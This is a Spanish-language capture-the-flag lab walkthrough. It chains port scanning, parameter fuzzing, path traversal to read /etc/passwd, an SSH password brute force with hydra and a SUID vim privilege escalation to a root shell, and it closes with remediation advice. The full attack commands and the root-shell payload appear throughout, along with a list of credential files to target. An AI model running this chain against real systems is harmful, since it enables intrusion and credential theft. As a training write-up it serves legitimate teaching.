Flujo de ataque
Solución paso a paso
Escaneamos todos los puertos del objetivo:
nmap -sV -p- --min-rate 5000 <LAB_IP>
# Output esperado:
PORT STATE SERVICE VERSION
2222/tcp open ssh OpenSSH 7.9p1 Debian
8080/tcp open http Apache httpd 2.4.56
Accedemos a http://<LAB_IP>:8080 y vemos una aplicación con un campo de texto: file viewer.
En una aplicación real no sabes cómo se llama el parámetro GET que carga ficheros. ffuf lo descubre probando miles de nombres automáticamente:
sudo apt update && sudo apt install seclists -y
ffuf -u "http://<LAB_IP>:8080/index.php?FUZZ=../../../etc/passwd" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-ac
¿Qué hace exactamente?
FUZZes un placeholder que ffuf reemplaza con cada palabra del wordlist: prueba?file=…,?page=…,?path=…,?dir=…, etc.- El valor
../../../etc/passwdes fijo — si el parámetro existe y la app es vulnerable, la respuesta incluirá el contenido real del fichero (más bytes que una respuesta normal). -ac(auto-calibrate) mide el tamaño de las respuestas normales y filtra todo lo que no se desvíe → solo muestrafilecomo positivo.
Resultado esperado:
[Status: 200, Size: 2847, Words: 45, Lines: 35] :: WORD: file
file), así que puedes saltar este paso si lo ves. Se incluye para practicar la técnica de fuzzing de parámetros que necesitarás cuando el parámetro no sea visible.Una vez conocido el parámetro (file), lo explotamos directamente con path traversal para leer ficheros del sistema:
curl "http://<LAB_IP>:8080/index.php?file=../../../etc/passwd"
O en el navegador:
http://<LAB_IP>:8080/index.php?file=../../../etc/passwd
En la respuesta identificamos el usuario con shell de bash:
trinity:x:1000:1000::/home/trinity:/bin/bash
/etc/shadow (si hay permisos), /home/trinity/.bash_history, /home/trinity/.ssh/id_rsa, /var/log/apache2/access.log (para log poisoning).Con el usuario trinity descubierto, lanzamos un ataque de diccionario al SSH:
hydra -l trinity -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 64
[2222][ssh] host: <LAB_IP> login: trinity password: hacker
Accedemos al sistema:
ssh trinity@<LAB_IP> -p 2222
# password: hacker
WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED. Elimina la clave antigua y reconecta:ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '[<LAB_IP>]:2222'Desde la shell como trinity, buscamos binarios con SUID:
find / -perm -4000 -type f 2>/dev/null
Entre los resultados aparece algo inusual:
/usr/bin/vim.nox ← los editores de texto no deberían tener SUID
Cómo encontrar el exploit en GTFOBins
1 — Busca "vim" en gtfobins.github.io. Verás que vim tiene la función Inherit con borde sólido rojo (= soportada con SUID).
2 — Entra en vim → sección Inherit → pestaña SUID. GTFOBins muestra vim -c ':py ...' — vim puede ejecutar código Python directamente y heredar sus capacidades. El ... indica que debes buscar el payload en la página de python.
3 — En la página de python → sección Shell → pestaña SUID. Aquí está el payload completo:
El comando completo
Combinando ambas referencias (vim/Inherit/SUID + python/Shell/SUID), adaptado a Python 3 y al binario real del sistema:
/usr/bin/vim.nox -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
Por qué funciona — desglose
/usr/bin/vim.nox |
El binario con SUID activo. Se ejecuta con EUID=0 (root) |
-c '...' |
Le dice a vim que ejecute un comando al arrancar |
:py3 import os |
Llama al intérprete Python 3 integrado en vim |
os.execl(...) |
Reemplaza el proceso de vim por sh sin crear un proceso hijo |
"-p" |
Le dice a sh que preserve los privilegios SUID (no resetee EUID) |
"reset; exec sh -p" |
Limpia la terminal y abre una shell interactiva como root |
os.execl y no simplemente :!/bin/sh -p?Con
:!/bin/sh -p, vim crea una shell hija mediante system(). El sistema detecta que EUID ≠ UID y resetea los privilegios → obtienes trinity, no root.Con
os.execl, Python reemplaza el proceso de vim directamente por sh. No hay shell intermedia — sh hereda el EUID de vim (root) y arranca como root.whoami
root
cat /root/flag.txt
Remediación
# 1 — Validar siempre el input en PHP con whitelist $allowed = ['about.php', 'contact.php']; if (in_array($_GET['file'], $allowed)) { include $_GET['file']; } # 2 — Deshabilitar funciones peligrosas en php.ini allow_url_include = Off allow_url_fopen = Off # 3 — Quitar SUID de editores de texto chmod u-s /usr/bin/vim.nox # 4 — No exponer SSH con contraseñas débiles # Usar autenticación por clave y deshabilitar password auth PasswordAuthentication no